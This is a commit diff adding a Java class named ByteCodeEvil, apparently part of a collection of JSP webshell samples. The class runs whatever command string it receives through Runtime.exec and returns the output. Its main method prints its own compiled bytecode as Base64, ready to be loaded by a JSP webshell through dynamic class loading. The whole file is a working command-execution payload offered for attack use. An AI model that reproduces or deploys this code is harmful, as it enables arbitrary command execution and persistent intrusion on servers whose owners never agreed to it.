Create ByteCodeEvil.java

jsp/20/ByteCodeEvil.java

@@ -0,0 +1,33 @@
+import java.io.BufferedReader;
+import java.io.IOException;
+import java.io.InputStream;
+import java.io.InputStreamReader;
+import java.util.Base64;
+
+public class ByteCodeEvil {
+    String res;
+
+    public ByteCodeEvil(String cmd) throws IOException {
+        StringBuilder stringBuilder = new StringBuilder();
+        BufferedReader bufferedReader = new BufferedReader(new InputStreamReader(Runtime.getRuntime().exec(cmd).getInputStream()));
+
+        String line;
+        while((line = bufferedReader.readLine()) != null) {
+            stringBuilder.append(line).append("\n");
+        }
+
+        this.res = stringBuilder.toString();
+    }
+
+    public String toString() {
+        return this.res;
+    }
+
+    public static void main(String[] args) throws IOException {
+        InputStream inputStream = ByteCodeEvil.class.getClassLoader().getResourceAsStream("ByteCodeEvil.class");
+        byte[] bytes = new byte[inputStream.available()];
+        inputStream.read(bytes);
+        String code = Base64.getEncoder().encodeToString(bytes);
+        System.out.println(code);
+    }
+}